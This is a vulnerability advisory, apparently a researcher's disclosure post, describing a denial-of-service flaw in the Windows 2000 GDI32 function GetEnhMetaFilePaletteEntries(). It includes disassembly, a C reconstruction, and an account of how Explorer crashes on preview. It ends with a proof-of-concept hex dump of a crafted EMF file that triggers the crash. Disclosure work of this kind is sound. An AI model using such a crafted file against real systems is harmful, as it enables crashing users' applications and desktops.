Windows 2000 GDI32.DLL GetEnhMetaFilePaletteEntries() API specially crafted EMF file DOS vulnerability
Windows 2000 GDI32.DLL GetEnhMetaFilePaletteEntries() API specially
crafted EMF file DOS vulnerability
1. Description
Windows 2000 GDI32.DLL GetEnhMetaFilePaletteEntries() API
doesn't process the EMF file properly, a application which calls
the API will crash when it reads some specially crafted EMF files.
2. Detail
Let us review the code:
----------------------------------------------------------
The Disassembled GDI32.GetEnhMetaFilePaletteEntries()
----------------------------------------------------------
77F68CC7 PUSH ESI
77F68CC8 PUSH EDI
77F68CC9 PUSH 460000
77F68CCE PUSH DWORD PTR SS:[ESP+10]
77F68CD2 CALL GDI32.77F48A89
77F68CD7 TEST EAX,EAX
77F68CD9 JNZ SHORT GDI32.77F68CE0
77F68CDB OR EAX,FFFFFFFF
77F68CDE JMP SHORT GDI32.77F68D11
77F68CE0 MOV EDI,DWORD PTR SS:[ESP+14]
77F68CE4 TEST EDI,EDI
77F68CE6 JNZ SHORT GDI32.77F68CF0
77F68CE8 MOV EAX,DWORD PTR DS:[EAX+C]
77F68CEB MOV EAX,DWORD PTR DS:[EAX+44]
77F68CEE JMP SHORT GDI32.77F68D11
77F68CF0 MOV ECX,DWORD PTR DS:[EAX+C]
77F68CF3 MOV EAX,DWORD PTR DS:[ECX+44]
77F68CF6 CMP DWORD PTR SS:[ESP+10],EAX
77F68CFA JNB SHORT GDI32.77F68D00
77F68CFC MOV EAX,DWORD PTR SS:[ESP+10]
77F68D00 MOV EDX,DWORD PTR DS:[ECX+30]
77F68D03 ADD EDX,ECX
77F68D05 MOV ECX,EAX
77F68D07 SUB EDX,DWORD PTR DS:[EDX-4]
77F68D0A MOV ESI,DWORD PTR DS:[EDX+C]
77F68D0D ADD ESI,EDX
77F68D0F REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
77F68D11 POP EDI
77F68D12 POP ESI
77F68D13 RETN 0C
-----------------------------------------------------------
Translated into C Code
-----------------------------------------------------------
UINT GetEnhMetaFilePaletteEntries(
HENHMETAFILE hemf, // handle of enhanced metafile
UINT cEntries, // count of palette entries
LPPALETTEENTRY lppe // address of palette-entry array
)
{
char *begin, *end, *emreof, *palent;
DWORD count, i;
// ......
begin = emf file offset in memory;
// get the count of palette entries from the emf file
count = *((DWORD *)(begin + 0x44));
if (lppe == 0)
return count;
if (size > count)
size = count;
// find the end of the emf file
end = begin + *((DWORD *)(bigin + 0x30));
// find the offset of emreof
emreof = end - *((DWORD *)(end - 0x04));
// find the offset of palentries
palent = emreof + *((DWORD *)(emreof + 0x0c));
// copy the palent from the file to palette-entry array
for (i = 0; i < size; i++)
memcpy(lppe + i, palent + i * 4, 4);
return size;
}
-----------------------------------------------------------
You can see that there isn't validity check, so it may cause
access violation when it uses the offset value("end", "emreof",
"palent") which read from the EMF.
3. Impact
The specific impact depends on the application using the API.
Generally, if there is a non-zero value in EMRHEAD->nPalEntries,
the application will call this API, and pass EMRHEAD->nPalEntries
to the second parameter, a specially crafted EMF will crash
the Application if the address it accesses to is not valid.
<<< Explorer.exe >>>
The explorer.exe(maybe a DLL called by explorer) always use
0x100 as the second parameter. And even if there is a zero
value in EMRHEAD->nPalEntries, if the "end" value in the end
of EMF file is bigger than some value(0x14 ??? I'm not sure),
it will also call this API to get the Palette entries.(strangely ?)
When you open the explorer.exe to open the folder which has a
crafted EMF file, if you click on the file in explorer's right
client area, just click, the explorer.exe will display the EMF file
in its left client area which will crash itself.
4. POC
A hex dumped EMF file:
-------------------------------------------------------
0000000 01 00 00 00 64 00 00 00 93 00 00 00 02 00 00 00
0000010 83 01 00 00 39 01 00 00 00 00 00 00 00 00 00 00
0000020 d1 08 00 00 be 06 00 00 20 45 4d 46 00 00 01 00
0000030 78 00 00 00 17 00 00 00 03 00 00 00 0f 00 00 00
0000040 64 00 00 00 41 00 00 00 c8 12 00 00 c2 1a 00 00
0000050 cc 00 00 00 22 01 00 00 00 00 00 00 00 00 00 00
0000060 00 00 00 00 0e 00 00 00 14 00 00 00 41 00 00 00
0000070 41 42 43 44 00 00 01 ff
-------------------------------------------------------
If it doesn't crash your explorer.exe, change the last 8
byte's values and try again, but I think it needn't change:)
Or you can change some normal EMF files in your Win2k to test.
5. Author
felix__zhou _at_ hotmail _dot_ com
hzhou _at_ fortinet _dot_ com